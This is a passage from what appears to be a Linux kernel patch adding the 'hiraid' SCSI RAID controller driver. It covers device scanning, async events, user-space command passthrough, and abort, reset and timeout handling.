-ENODEV; + } + + scsi_remove_device(sdev); + scsi_device_put(sdev); + return 0; +} + +static int hiraid_dev_list_init(struct hiraid_dev *hdev) +{ + u32 nd = le32_to_cpu(hdev->ctrl_info->nd); + + hdev->dev_info = kzalloc_node(nd * sizeof(struct hiraid_dev_info), + GFP_KERNEL, hdev->numa_node); + if (!hdev->dev_info) + return -ENOMEM; + + return 0; +} + +static int hiraid_luntarget_sort(const void *l, const void *r) +{ + const struct hiraid_dev_info *ln = l; + const struct hiraid_dev_info *rn = r; + int l_attr = HIRAID_DEV_INFO_ATTR_BOOT(ln->attr); + int r_attr = HIRAID_DEV_INFO_ATTR_BOOT(rn->attr); + + /* boot first */ + if (l_attr != r_attr) + return (r_attr - l_attr); + + if (ln->channel == rn->channel) + return le16_to_cpu(ln->target) - le16_to_cpu(rn->target); + + return ln->channel - rn->channel; +} + +static void hiraid_scan_work(struct work_struct *work) +{ + struct hiraid_dev *hdev = + container_of(work, struct hiraid_dev, scan_work); + struct hiraid_dev_info *dev, *old_dev, *new_dev; + u32 nd = le32_to_cpu(hdev->ctrl_info->nd); + u8 flag, org_flag; + int i, ret; + int count = 0; + + dev = kcalloc(nd, sizeof(struct hiraid_dev_info), GFP_KERNEL); + if (!dev) + return; + + new_dev = kcalloc(nd, sizeof(struct hiraid_dev_info), GFP_KERNEL); + if (!new_dev) + goto free_list; + + ret = hiraid_request_devices(hdev, dev); + if (ret) + goto free_all; + old_dev = hdev->dev_info; + for (i = 0; i < nd; i++) { + org_flag = old_dev[i].flag; + flag = dev[i].flag; + + dev_log_dbg(hdev->dev, "i[%d] org_flag[0x%x] flag[0x%x]\n", i, org_flag, flag); + + if (HIRAID_DEV_INFO_FLAG_VALID(flag)) { + if (!HIRAID_DEV_INFO_FLAG_VALID(org_flag)) { + down_write(&hdev->dev_rwsem); + memcpy(&old_dev[i], &dev[i], + sizeof(struct hiraid_dev_info)); + memcpy(&new_dev[count++], &dev[i], + sizeof(struct hiraid_dev_info)); + up_write(&hdev->dev_rwsem); + } else if (HIRAID_DEV_INFO_FLAG_CHANGE(flag)) { + hiraid_rescan_device(hdev, &dev[i]); + } + } else { + if (HIRAID_DEV_INFO_FLAG_VALID(org_flag)) { + down_write(&hdev->dev_rwsem); + old_dev[i].flag &= 0xfe; + up_write(&hdev->dev_rwsem); + hiraid_delete_device(hdev, &old_dev[i]); + } + } + } + + dev_info(hdev->dev, "scan work add device num[%d]\n", count); + + sort(new_dev, count, sizeof(new_dev[0]), hiraid_luntarget_sort, NULL); + + for (i = 0; i < count; i++) + hiraid_add_device(hdev, &new_dev[i]); + +free_all: + kfree(new_dev); +free_list: + kfree(dev); +} + +static void hiraid_timesyn_work(struct work_struct *work) +{ + struct hiraid_dev *hdev = + container_of(work, struct hiraid_dev, timesyn_work); + + hiraid_configure_timestamp(hdev); +} + +static int hiraid_init_control_info(struct hiraid_dev *hdev); +static void hiraid_fwactive_work(struct work_struct *work) +{ + struct hiraid_dev *hdev = container_of(work, struct hiraid_dev, fwact_work); + + if (hiraid_init_control_info(hdev)) + dev_err(hdev->dev, "get controller info failed after fw activation\n"); +} + +static void hiraid_queue_scan(struct hiraid_dev *hdev) +{ + queue_work(work_queue, &hdev->scan_work); +} + +static void hiraid_handle_async_notice(struct hiraid_dev *hdev, u32 result) +{ + switch ((result & 0xff00) >> 8) { + case HIRAID_ASYN_DEV_CHANGED: + hiraid_queue_scan(hdev); + break; + case HIRAID_ASYN_FW_ACT_START: + dev_info(hdev->dev, "fw activation starting\n"); + break; + case HIRAID_ASYN_HOST_PROBING: + break; + default: + dev_warn(hdev->dev, "async event result[%08x]\n", result); + } +} + +static void hiraid_handle_async_vs(struct hiraid_dev *hdev, u32 result, u32 result1) +{ + switch ((result & 0xff00) >> 8) { + case HIRAID_ASYN_TIMESYN: + queue_work(work_queue, &hdev->timesyn_work); + break; + case HIRAID_ASYN_FW_ACT_FINISH: + dev_info(hdev->dev, "fw activation finish\n"); + queue_work(work_queue, &hdev->fwact_work); + break; + case HIRAID_ASYN_EVENT_MIN ... HIRAID_ASYN_EVENT_MAX: + dev_info(hdev->dev, "recv card event[%d] param1[0x%x] param2[0x%x]\n", + (result & 0xff00) >> 8, result, result1); + break; + default: + dev_warn(hdev->dev, "async event result[0x%x]\n", result); + } +} + +static int hiraid_alloc_resources(struct hiraid_dev *hdev) +{ + int ret, nqueue; + + hdev->ctrl_info = kzalloc_node(sizeof(*hdev->ctrl_info), GFP_KERNEL, hdev->numa_node); + if (!hdev->ctrl_info) + return -ENOMEM; + + ret = hiraid_create_prp_pools(hdev); + if (ret) + goto free_ctrl_info; + nqueue = min(num_possible_cpus(), max_hwq_num) + 1; + hdev->queues = kcalloc_node(nqueue, sizeof(struct hiraid_queue), + GFP_KERNEL, hdev->numa_node); + if (!hdev->queues) { + ret = -ENOMEM; + goto destroy_dma_pools; + } + + ret = hiraid_create_admin_cmds(hdev); + if (ret) + goto free_queues; + + dev_info(hdev->dev, "total queues num[%d]\n", nqueue); + + return 0; + +free_queues: + kfree(hdev->queues); +destroy_dma_pools: + hiraid_free_prp_pools(hdev); +free_ctrl_info: + kfree(hdev->ctrl_info); + + return ret; +} + +static void hiraid_free_resources(struct hiraid_dev *hdev) +{ + hiraid_free_admin_cmds(hdev); + kfree(hdev->queues); + hiraid_free_prp_pools(hdev); + kfree(hdev->ctrl_info); +} + +static void hiraid_bsg_buf_unmap(struct hiraid_dev *hdev, struct bsg_job *job) +{ + struct request *rq = blk_mq_rq_from_pdu(job); + struct hiraid_mapmange *mapbuf = job->dd_data; + enum dma_data_direction dma_dir = rq_data_dir(rq) ? DMA_TO_DEVICE : DMA_FROM_DEVICE; + + if (mapbuf->sge_cnt) + dma_unmap_sg(hdev->dev, mapbuf->sgl, mapbuf->sge_cnt, dma_dir); + + hiraid_free_mapbuf(hdev, mapbuf); +} + +static int hiraid_bsg_buf_map(struct hiraid_dev *hdev, struct bsg_job *job, + struct hiraid_admin_command *cmd) +{ + struct hiraid_bsg_request *bsg_req = job->request; + struct request *rq = blk_mq_rq_from_pdu(job); + struct hiraid_mapmange *mapbuf = job->dd_data; + enum dma_data_direction dma_dir = rq_data_dir(rq) ? DMA_TO_DEVICE : DMA_FROM_DEVICE; + int ret = 0; + + /* No data to DMA, it may be scsi no-rw command */ + mapbuf->sge_cnt = job->request_payload.sg_cnt; + mapbuf->sgl = job->request_payload.sg_list; + mapbuf->len = job->request_payload.payload_len; + mapbuf->page_cnt = -1; + if (unlikely(mapbuf->sge_cnt == 0)) + goto out; + + mapbuf->use_sgl = !hiraid_is_prp(hdev, mapbuf->sgl, mapbuf->sge_cnt); + + ret = dma_map_sg_attrs(hdev->dev, mapbuf->sgl, mapbuf->sge_cnt, dma_dir, DMA_ATTR_NO_WARN); + if (!ret) + goto out; + + if ((mapbuf->use_sgl == (bool)true) && (bsg_req->msgcode == HIRAID_BSG_IOPTHRU) && + (hdev->ctrl_info->pt_use_sgl != (bool)false)) { + ret = hiraid_build_passthru_sgl(hdev, cmd, mapbuf); + } else { + mapbuf->use_sgl = false; + + ret = hiraid_build_passthru_prp(hdev, mapbuf); + cmd->common.dptr.prp1 = cpu_to_le64(sg_dma_address(mapbuf->sgl)); + cmd->common.dptr.prp2 = cpu_to_le64(mapbuf->first_dma); + } + + if (ret) + goto unmap; + + return 0; + +unmap: + dma_unmap_sg(hdev->dev, mapbuf->sgl, mapbuf->sge_cnt, dma_dir); +out: + return ret; +} + +static int hiraid_get_control_info(struct hiraid_dev *hdev, struct hiraid_ctrl_info *ctrl_info) +{ + struct hiraid_admin_command admin_cmd; + u8 *data_ptr = NULL; + dma_addr_t buffer_phy = 0; + int ret; + + data_ptr = dma_alloc_coherent(hdev->dev, PAGE_SIZE, &buffer_phy, GFP_KERNEL); + if (!data_ptr) + return -ENOMEM; + + memset(&admin_cmd, 0, sizeof(admin_cmd)); + admin_cmd.get_info.opcode = HIRAID_ADMIN_GET_INFO; + admin_cmd.get_info.type = HIRAID_GET_CTRL_INFO; + admin_cmd.common.dptr.prp1 = cpu_to_le64(buffer_phy); + + ret = hiraid_put_admin_sync_request(hdev, &admin_cmd, NULL, NULL, 0); + if (!ret) + memcpy(ctrl_info, data_ptr, sizeof(struct hiraid_ctrl_info)); + + dma_free_coherent(hdev->dev, PAGE_SIZE, data_ptr, buffer_phy); + + return ret; +} + +static int hiraid_init_control_info(struct hiraid_dev *hdev) +{ + int ret; + + hdev->ctrl_info->nd = cpu_to_le32(240); + hdev->ctrl_info->mdts = 8; + hdev->ctrl_info->max_cmds = cpu_to_le16(4096); + hdev->ctrl_info->max_num_sge = cpu_to_le16(128); + hdev->ctrl_info->max_channel = cpu_to_le16(4); + hdev->ctrl_info->max_tgt_id = cpu_to_le32(3239); + hdev->ctrl_info->max_lun = cpu_to_le16(2); + + ret = hiraid_get_control_info(hdev, hdev->ctrl_info); + if (ret) + dev_err(hdev->dev, "get controller info failed[%d]\n", ret); + + dev_info(hdev->dev, "device_num = %d\n", hdev->ctrl_info->nd); + dev_info(hdev->dev, "max_cmd = %d\n", hdev->ctrl_info->max_cmds); + dev_info(hdev->dev, "max_channel = %d\n", hdev->ctrl_info->max_channel); + dev_info(hdev->dev, "max_tgt_id = %d\n", hdev->ctrl_info->max_tgt_id); + dev_info(hdev->dev, "max_lun = %d\n", hdev->ctrl_info->max_lun); + dev_info(hdev->dev, "max_num_sge = %d\n", hdev->ctrl_info->max_num_sge); + dev_info(hdev->dev, "lun_num_boot = %d\n", hdev->ctrl_info->lun_num_boot); + dev_info(hdev->dev, "max_data_transfer_size = %d\n", hdev->ctrl_info->mdts); + dev_info(hdev->dev, "abort_cmd_limit = %d\n", hdev->ctrl_info->acl); + dev_info(hdev->dev, "asyn_event_num = %d\n", hdev->ctrl_info->asynevent); + dev_info(hdev->dev, "card_type = %d\n", hdev->ctrl_info->card_type); + dev_info(hdev->dev, "pt_use_sgl = %d\n", hdev->ctrl_info->pt_use_sgl); + dev_info(hdev->dev, "rtd3e = %d\n", hdev->ctrl_info->rtd3e); + dev_info(hdev->dev, "serial_num = %s\n", hdev->ctrl_info->sn); + dev_info(hdev->dev, "fw_verion = %s\n", hdev->ctrl_info->fw_version); + + if (!hdev->ctrl_info->asynevent) + hdev->ctrl_info->asynevent = 1; + if (hdev->ctrl_info->asynevent > HIRAID_ASYN_COMMANDS) + hdev->ctrl_info->asynevent = HIRAID_ASYN_COMMANDS; + + hdev->scsi_qd = work_mode ? + le16_to_cpu(hdev->ctrl_info->max_cmds) : (hdev->ioq_depth - HIRAID_PTHRU_CMDS_PERQ); + + return 0; +} + +static int hiraid_user_send_admcmd(struct hiraid_dev *hdev, struct bsg_job *job) +{ + struct hiraid_bsg_request *bsg_req = job->request; + struct hiraid_passthru_common_cmd *ptcmd = &(bsg_req->admcmd); + struct hiraid_admin_command admin_cmd; + u32 timeout = msecs_to_jiffies(ptcmd->timeout_ms); + u32 result[2] = {0}; + int status; + + if (hdev->state >= DEV_RESETTING) { + dev_err(hdev->dev, "err, host state[%d] is not right\n", + hdev->state); + return -EBUSY; + } + + memset(&admin_cmd, 0, sizeof(admin_cmd)); + admin_cmd.common.opcode = ptcmd->opcode; + admin_cmd.common.flags = ptcmd->flags; + admin_cmd.common.hdid = cpu_to_le32(ptcmd->nsid); + admin_cmd.common.cdw2[0] = cpu_to_le32(ptcmd->cdw2); + admin_cmd.common.cdw2[1] = cpu_to_le32(ptcmd->cdw3); + admin_cmd.common.cdw10 = cpu_to_le32(ptcmd->cdw10); + admin_cmd.common.cdw11 = cpu_to_le32(ptcmd->cdw11); + admin_cmd.common.cdw12 = cpu_to_le32(ptcmd->cdw12); + admin_cmd.common.cdw13 = cpu_to_le32(ptcmd->cdw13); + admin_cmd.common.cdw14 = cpu_to_le32(ptcmd->cdw14); + admin_cmd.common.cdw15 = cpu_to_le32(ptcmd->cdw15); + + status = hiraid_bsg_buf_map(hdev, job, &admin_cmd); + if (status) { + dev_err(hdev->dev, "err, map data failed\n"); + return status; + } + + status = hiraid_put_admin_sync_request(hdev, &admin_cmd, &result[0], &result[1], timeout); + if (status >= 0) { + job->reply_len = sizeof(result); + memcpy(job->reply, result, sizeof(result)); + } + if (status) + dev_info(hdev->dev, "opcode[0x%x] subopcode[0x%x] status[0x%x] result0[0x%x];" + "result1[0x%x]\n", ptcmd->opcode, ptcmd->info_0.subopcode, status, + result[0], result[1]); + + hiraid_bsg_buf_unmap(hdev, job); + + return status; +} + +static int hiraid_alloc_io_ptcmds(struct hiraid_dev *hdev) +{ + u32 i; + u32 ptnum = HIRAID_TOTAL_PTCMDS(hdev->online_queues - 1); + + INIT_LIST_HEAD(&hdev->io_pt_list); + spin_lock_init(&hdev->io_pt_lock); + + hdev->io_ptcmds = kcalloc_node(ptnum, sizeof(struct hiraid_cmd), + GFP_KERNEL, hdev->numa_node); + + if (!hdev->io_ptcmds) { + dev_err(hdev->dev, "alloc io pthrunum failed\n"); + return -ENOMEM; + } + + for (i = 0; i < ptnum; i++) { + hdev->io_ptcmds[i].qid = i / HIRAID_PTHRU_CMDS_PERQ + 1; + hdev->io_ptcmds[i].cid = i % HIRAID_PTHRU_CMDS_PERQ + hdev->scsi_qd; + list_add_tail(&(hdev->io_ptcmds[i].list), &hdev->io_pt_list); + } + + dev_info(hdev->dev, "alloc io pthru cmd success, pthrunum[%d]\n", ptnum); + + return 0; +} + +static void hiraid_free_io_ptcmds(struct hiraid_dev *hdev) +{ + kfree(hdev->io_ptcmds); + hdev->io_ptcmds = NULL; + + INIT_LIST_HEAD(&hdev->io_pt_list); +} + +static int hiraid_put_io_sync_request(struct hiraid_dev *hdev, struct hiraid_scsi_io_cmd *io_cmd, + u32 *result, u32 *reslen, u32 timeout) +{ + int ret; + dma_addr_t buffer_phy; + struct hiraid_queue *ioq; + void *sense_addr = NULL; + struct hiraid_cmd *pt_cmd = hiraid_get_cmd(hdev, HIRAID_CMD_PTHRU); + + if (!pt_cmd) { + dev_err(hdev->dev, "err, get ioq cmd failed\n"); + return -EFAULT; + } + + timeout = timeout ? timeout : ADMIN_TIMEOUT; + + init_completion(&pt_cmd->cmd_done); + + ioq = &hdev->queues[pt_cmd->qid]; + if (work_mode) { + ret = ((pt_cmd->qid - 1) * HIRAID_PTHRU_CMDS_PERQ + pt_cmd->cid) * + SCSI_SENSE_BUFFERSIZE; + sense_addr = hdev->sense_buffer_virt + ret; + buffer_phy = hdev->sense_buffer_phy + ret; + } else { + ret = pt_cmd->cid * SCSI_SENSE_BUFFERSIZE; + sense_addr = ioq->sense_buffer_virt + ret; + buffer_phy = ioq->sense_buffer_phy + ret; + } + + io_cmd->common.sense_addr = cpu_to_le64(buffer_phy); + io_cmd->common.sense_len = cpu_to_le16(SCSI_SENSE_BUFFERSIZE); + io_cmd->common.cmd_id = cpu_to_le16(pt_cmd->cid); + + hiraid_submit_cmd(ioq, io_cmd); + + if (!wait_for_completion_timeout(&pt_cmd->cmd_done, timeout)) { + dev_err(hdev->dev, "cid[%d] qid[%d] timeout, opcode[0x%x] subopcode[0x%x]\n", + pt_cmd->cid, pt_cmd->qid, io_cmd->common.opcode, + (le32_to_cpu(io_cmd->common.cdw3[0]) & 0xffff)); + + hiraid_admin_timeout(hdev, pt_cmd); + + hiraid_put_cmd(hdev, pt_cmd, HIRAID_CMD_PTHRU); + return -ETIME; + } + + if (result && reslen) { + if ((pt_cmd->status & 0x17f) == 0x101) { + memcpy(result, sense_addr, SCSI_SENSE_BUFFERSIZE); + *reslen = SCSI_SENSE_BUFFERSIZE; + } + } + + hiraid_put_cmd(hdev, pt_cmd, HIRAID_CMD_PTHRU); + + return pt_cmd->status; +} + +static int hiraid_user_send_ptcmd(struct hiraid_dev *hdev, struct bsg_job *job) +{ + struct hiraid_bsg_request *bsg_req = (struct hiraid_bsg_request *)(job->request); + struct hiraid_passthru_io_cmd *cmd = &(bsg_req->pthrucmd); + struct hiraid_scsi_io_cmd pthru_cmd; + int status = 0; + u32 timeout = msecs_to_jiffies(cmd->timeout_ms); + // data len is 4k before use sgl, now len is 1M + u32 io_pt_data_len = (hdev->ctrl_info->pt_use_sgl == (bool)true) ? + IOQ_PT_SGL_DATA_LEN : IOQ_PT_DATA_LEN; + + if (cmd->data_len > io_pt_data_len) { + dev_err(hdev->dev, "data len bigger than %d\n", io_pt_data_len); + return -EFAULT; + } + + if (hdev->state != DEV_LIVE) { + dev_err(hdev->dev, "err, host state[%d] is not live\n", hdev->state); + return -EBUSY; + } + + memset(&pthru_cmd, 0, sizeof(pthru_cmd)); + pthru_cmd.common.opcode = cmd->opcode; + pthru_cmd.common.flags = cmd->flags; + pthru_cmd.common.hdid = cpu_to_le32(cmd->nsid); + pthru_cmd.common.sense_len = cpu_to_le16(cmd->info_0.res_sense_len); + pthru_cmd.common.cdb_len = cmd->info_0.cdb_len; + pthru_cmd.common.rsvd2 = cmd->info_0.rsvd0; + pthru_cmd.common.cdw3[0] = cpu_to_le32(cmd->cdw3); + pthru_cmd.common.cdw3[1] = cpu_to_le32(cmd->cdw4); + pthru_cmd.common.cdw3[2] = cpu_to_le32(cmd->cdw5); + + pthru_cmd.common.cdw10[0] = cpu_to_le32(cmd->cdw10); + pthru_cmd.common.cdw10[1] = cpu_to_le32(cmd->cdw11); + pthru_cmd.common.cdw10[2] = cpu_to_le32(cmd->cdw12); + pthru_cmd.common.cdw10[3] = cpu_to_le32(cmd->cdw13); + pthru_cmd.common.cdw10[4] = cpu_to_le32(cmd->cdw14); + pthru_cmd.common.cdw10[5] = cpu_to_le32(cmd->data_len); + + memcpy(pthru_cmd.common.cdb, &cmd->cdw16, cmd->info_0.cdb_len); + + pthru_cmd.common.cdw26[0] = cpu_to_le32(cmd->cdw26[0]); + pthru_cmd.common.cdw26[1] = cpu_to_le32(cmd->cdw26[1]); + pthru_cmd.common.cdw26[2] = cpu_to_le32(cmd->cdw26[2]); + pthru_cmd.common.cdw26[3] = cpu_to_le32(cmd->cdw26[3]); + + status = hiraid_bsg_buf_map(hdev, job, (struct hiraid_admin_command *)&pthru_cmd); + if (status) { + dev_err(hdev->dev, "err, map data failed\n"); + return status; + } + + status = hiraid_put_io_sync_request(hdev, &pthru_cmd, job->reply, &job->reply_len, timeout); + + if (status) + dev_info(hdev->dev, "opcode[0x%x] subopcode[0x%x] status[0x%x] replylen[%d]\n", + cmd->opcode, cmd->info_1.subopcode, status, job->reply_len); + + hiraid_bsg_buf_unmap(hdev, job); + + return status; +} + +static bool hiraid_check_scmd_finished(struct scsi_cmnd *scmd) +{ + struct hiraid_dev *hdev = shost_priv(scmd->device->host); + struct hiraid_mapmange *mapbuf = scsi_cmd_priv(scmd); + struct hiraid_queue *hiraidq; + + hiraidq = mapbuf->hiraidq; + if (!hiraidq) + return false; + if (READ_ONCE(mapbuf->state) == CMD_COMPLETE || hiraid_poll_cq(hiraidq, mapbuf->cid)) { + dev_warn(hdev->dev, "cid[%d] qid[%d] has been completed\n", + mapbuf->cid, hiraidq->qid); + return true; + } + return false; +} + +static enum blk_eh_timer_return hiraid_timed_out(struct scsi_cmnd *scmd) +{ + struct hiraid_mapmange *mapbuf = scsi_cmd_priv(scmd); + unsigned int timeout = scmd->device->request_queue->rq_timeout; + + if (hiraid_check_scmd_finished(scmd)) + goto out; + + if (time_after(jiffies, scmd->jiffies_at_alloc + timeout)) { + if (cmpxchg(&mapbuf->state, CMD_FLIGHT, CMD_TIMEOUT) == CMD_FLIGHT) + return BLK_EH_DONE; + } +out: + return BLK_EH_RESET_TIMER; +} + +/* send abort command by admin queue temporary */ +static int hiraid_send_abort_cmd(struct hiraid_dev *hdev, u32 hdid, u16 qid, u16 cid) +{ + struct hiraid_admin_command admin_cmd; + + memset(&admin_cmd, 0, sizeof(admin_cmd)); + admin_cmd.abort.opcode = HIRAID_ADMIN_ABORT_CMD; + admin_cmd.abort.hdid = cpu_to_le32(hdid); + admin_cmd.abort.sqid = cpu_to_le16(qid); + admin_cmd.abort.cid = cpu_to_le16(cid); + + return hiraid_put_admin_sync_request(hdev, &admin_cmd, NULL, NULL, 0); +} + +/* send reset command by admin quueue temporary */ +static int hiraid_send_reset_cmd(struct hiraid_dev *hdev, u8 type, u32 hdid) +{ + struct hiraid_admin_command admin_cmd; + + memset(&admin_cmd, 0, sizeof(admin_cmd)); + admin_cmd.reset.opcode = HIRAID_ADMIN_RESET; + admin_cmd.reset.hdid = cpu_to_le32(hdid); + admin_cmd.reset.type = type; + + return hiraid_put_admin_sync_request(hdev, &admin_cmd, NULL, NULL, 0); +} + +static bool hiraid_dev_state_trans(struct hiraid_dev *hdev, enum hiraid_dev_state new_state) +{ + unsigned long flags; + enum hiraid_dev_state old_state; + bool change = false; + + spin_lock_irqsave(&hdev->state_lock, flags); + + old_state = hdev->state; + switch (new_state) { + case DEV_LIVE: + switch (old_state) { + case DEV_NEW: + case DEV_RESETTING: + change = true; + break; + default: + break; + } + break; + case DEV_RESETTING: + switch (old_state) { + case DEV_LIVE: + change = true; + break; + default: + break; + } + break; + case DEV_DELETING: + if (old_state != DEV_DELETING) + change = true; + break; + case DEV_DEAD: + switch (old_state) { + case DEV_NEW: + case DEV_LIVE: + case DEV_RESETTING: + change = true; + break; + default: + break; + } + break; + default: + break; + } + if (change) + hdev->state = new_state; + spin_unlock_irqrestore(&hdev->state_lock, flags); + + dev_info(hdev->dev, "oldstate[%d]->newstate[%d], change[%d]\n", + old_state, new_state, change); + + return change; +} + +static void hiraid_drain_pending_ios(struct hiraid_dev *hdev); + +static void hiraid_flush_running_cmds(struct hiraid_dev *hdev) +{ + int i, j; + + scsi_block_requests(hdev->shost); + hiraid_drain_pending_ios(hdev); + scsi_unblock_requests(hdev->shost); + + j = HIRAID_AQ_BLK_MQ_DEPTH; + for (i = 0; i < j; i++) { + if (READ_ONCE(hdev->adm_cmds[i].state) == CMD_FLIGHT) { + dev_info(hdev->dev, "flush admin, cid[%d]\n", i); + hdev->adm_cmds[i].status = 0xFFFF; + WRITE_ONCE(hdev->adm_cmds[i].state, CMD_COMPLETE); + complete(&(hdev->adm_cmds[i].cmd_done)); + } + } + + j = HIRAID_TOTAL_PTCMDS(hdev->online_queues - 1); + for (i = 0; i < j; i++) { + if (READ_ONCE(hdev->io_ptcmds[i].state) == CMD_FLIGHT) { + hdev->io_ptcmds[i].status = 0xFFFF; + WRITE_ONCE(hdev->io_ptcmds[i].state, CMD_COMPLETE); + complete(&(hdev->io_ptcmds[i].cmd_done)); + } + } +} + +static int hiraid_dev_disable(struct hiraid_dev *hdev, bool shutdown) +{ + int ret = -ENODEV; + struct hiraid_queue *adminq = &hdev->queues[0]; + u16 start, end; + + if (pci_device_is_present(hdev->pdev)) { + if (shutdown) + hiraid_shutdown_control(hdev); + else + ret = hiraid_disable_control(hdev); + } + + if (hdev->queue_count == 0) { + dev_err(hdev->dev, "warn: queue has been delete\n"); + return ret; + } + + spin_lock_irq(&adminq->cq_lock); + hiraid_process_cq(adminq, &start, &end, -1); + spin_unlock_irq(&adminq->cq_lock); + hiraid_complete_cqes(adminq, start, end); + + hiraid_pci_disable(hdev); + + hiraid_flush_running_cmds(hdev); + + return ret; +} + +static void hiraid_reset_work(struct work_struct *work) +{ + int ret = 0; + struct hiraid_dev *hdev = container_of(work, struct hiraid_dev, reset_work); + + if (hdev->state != DEV_RESETTING) { + dev_err(hdev->dev, "err, host is not reset state\n"); + return; + } + + dev_info(hdev->dev, "enter host reset\n"); + + if (hdev->ctrl_config & HIRAID_CC_ENABLE) { + dev_info(hdev->dev, "start dev_disable\n"); + ret = hiraid_dev_disable(hdev, false); + } + + if (ret) + goto out; + + ret = hiraid_pci_enable(hdev); + if (ret) + goto out; + + ret = hiraid_setup_admin_queue(hdev); + if (ret) + goto pci_disable; + + ret = hiraid_setup_io_queues(hdev); + if (ret || hdev->online_queues != hdev->last_qcnt) + goto pci_disable; + + hiraid_dev_state_trans(hdev, DEV_LIVE); + + hiraid_init_async_event(hdev); + + hiraid_queue_scan(hdev); + + return; + +pci_disable: + hiraid_pci_disable(hdev); +out: + hiraid_dev_state_trans(hdev, DEV_DEAD); + dev_err(hdev->dev, "err, host reset failed\n"); +} + +static int hiraid_reset_work_sync(struct hiraid_dev *hdev) +{ + if (!hiraid_dev_state_trans(hdev, DEV_RESETTING)) { + dev_info(hdev->dev, "can't change to reset state\n"); + return -EBUSY; + } + + if (!queue_work(work_queue, &hdev->reset_work)) { + dev_err(hdev->dev, "err, host is already in reset state\n"); + return -EBUSY; + } + + flush_work(&hdev->reset_work); + if (hdev->state != DEV_LIVE) + return -ENODEV; + + return 0; +} + +static int hiraid_wait_io_completion(struct hiraid_mapmange *mapbuf) +{ + u16 times = 0; + + do { + if (READ_ONCE(mapbuf->state) == CMD_TMO_COMPLETE) + break; + msleep(500); + times++; + } while (times <= HIRAID_WAIT_ABNL_CMD_TIMEOUT); + + /* wait command completion timeout after abort/reset success */ + if (times >= HIRAID_WAIT_ABNL_CMD_TIMEOUT) + return -ETIMEDOUT; + + return 0; +} + +static bool hiraid_tgt_rst_pending_io_count(struct request *rq, void *data, bool reserved) +{ + unsigned int id = *(unsigned int *)data; + struct scsi_cmnd *scmd = blk_mq_rq_to_pdu(rq); + struct hiraid_mapmange *mapbuf; + struct hiraid_sdev_hostdata *hostdata; + + if (scmd) { + mapbuf = scsi_cmd_priv(scmd); + if ((mapbuf->state == CMD_FLIGHT) || (mapbuf->state == CMD_TIMEOUT)) { + if ((scmd->device) && (scmd->device->id == id)) { + hostdata = scmd->device->hostdata; + hostdata->pend_count++; + } + } + } + return true; +} +static bool hiraid_clean_pending_io(struct request *rq, void *data, bool reserved) +{ + struct hiraid_dev *hdev = data; + struct scsi_cmnd *scmd; + struct hiraid_mapmange *mapbuf; + + if (unlikely(!rq || !blk_mq_request_started(rq))) + return true; + + scmd = blk_mq_rq_to_pdu(rq); + mapbuf = scsi_cmd_priv(scmd); + + if ((cmpxchg(&mapbuf->state, CMD_FLIGHT, CMD_COMPLETE) != CMD_FLIGHT) && + (cmpxchg(&mapbuf->state, CMD_TIMEOUT, CMD_COMPLETE) != CMD_TIMEOUT)) + return true; + + set_host_byte(scmd, DID_NO_CONNECT); + if (mapbuf->sge_cnt) + scsi_dma_unmap(scmd); + hiraid_free_mapbuf(hdev, mapbuf); + dev_warn_ratelimited(hdev->dev, "back unfinished CQE, cid[%d] qid[%d]\n", + mapbuf->cid, mapbuf->hiraidq->qid); + scmd->scsi_done(scmd); + + return true; +} + +static void hiraid_drain_pending_ios(struct hiraid_dev *hdev) +{ + blk_mq_tagset_busy_iter(&hdev->shost->tag_set, hiraid_clean_pending_io, (void *)(hdev)); +} + +static int wait_tgt_reset_io_done(struct scsi_cmnd *scmd) +{ + u16 timeout = 0; + struct hiraid_sdev_hostdata *hostdata; + struct hiraid_dev *hdev = shost_priv(scmd->device->host); + + hostdata = scmd->device->hostdata; + + do { + hostdata->pend_count = 0; + blk_mq_tagset_busy_iter(&hdev->shost->tag_set, hiraid_tgt_rst_pending_io_count, + (void *)(&scmd->device->id)); + + if (!hostdata->pend_count) + return 0; + + msleep(500); + timeout++; + } while (timeout <= HIRAID_WAIT_RST_IO_TIMEOUT); + + return -ETIMEDOUT; +} + +static int hiraid_abort(struct scsi_cmnd *scmd) +{ + struct hiraid_dev *hdev = shost_priv(scmd->device->host); + struct hiraid_mapmange *mapbuf = scsi_cmd_priv(scmd); + struct hiraid_sdev_hostdata *hostdata; + u16 hwq, cid; + int ret; + + scsi_print_command(scmd); + + if (hdev->state != DEV_LIVE || !hiraid_wait_io_completion(mapbuf) || + hiraid_check_scmd_finished(scmd)) + return SUCCESS; + + hostdata = scmd->device->hostdata; + cid = mapbuf->cid; + hwq = mapbuf->hiraidq->qid; + + dev_warn(hdev->dev, "cid[%d] qid[%d] timeout, send abort\n", cid, hwq); + ret = hiraid_send_abort_cmd(hdev, hostdata->hdid, hwq, cid); + if (ret != -ETIME) { + ret = hiraid_wait_io_completion(mapbuf); + if (ret) { + dev_warn(hdev->dev, "cid[%d] qid[%d] abort failed, not found\n", cid, hwq); + return FAILED; + } + dev_warn(hdev->dev, "cid[%d] qid[%d] abort succ\n", cid, hwq); + return SUCCESS; + } + dev_warn(hdev->dev, "cid[%d] qid[%d] abort failed, timeout\n", cid, hwq); + return FAILED; +} + +static int hiraid_scsi_reset(struct scsi_cmnd *scmd, enum hiraid_rst_type rst) +{ + struct hiraid_dev *hdev = shost_priv(scmd->device->host); + struct hiraid_sdev_hostdata *hostdata; + int ret; + + if (hdev->state != DEV_LIVE) + return SUCCESS; + + hostdata = scmd->device->hostdata; + + dev_warn(hdev->dev, "sdev[%d:%d] send %s reset\n", scmd->device->channel, scmd->device->id, + rst ? "bus" : "target"); + ret = hiraid_send_reset_cmd(hdev, rst, hostdata->hdid); + if ((ret == 0) || (ret == FW_EH_DEV_NONE && rst == HIRAID_RESET_TARGET)) { + if (rst == HIRAID_RESET_TARGET) { + ret = wait_tgt_reset_io_done(scmd); + if (ret) { + dev_warn(hdev->dev, "sdev[%d:%d] target has %d peding cmd, target reset failed\n", + scmd->device->channel, scmd->device->id, + hostdata->pend_count); + return FAILED; + } + } + dev_warn(hdev->dev, "sdev[%d:%d] %s reset success\n", + scmd->device->channel, scmd->device->id, rst ? "bus" : "target"); + return SUCCESS; + } + + dev_warn(hdev->dev, "sdev[%d:%d] %s reset failed\n", + scmd->device->channel, scmd->device->id, rst ? "bus" : "target"); + return FAILED; +} + +static int hiraid_target_reset(struct scsi_cmnd *scmd) +{ + return hiraid_scsi_reset(scmd, HIRAID_RESET_TARGET); +} + +static int hiraid_bus_reset(struct scsi_cmnd *scmd) +{ + return hiraid_scsi_reset(scmd, HIRAID_RESET_BUS); +} + +static int 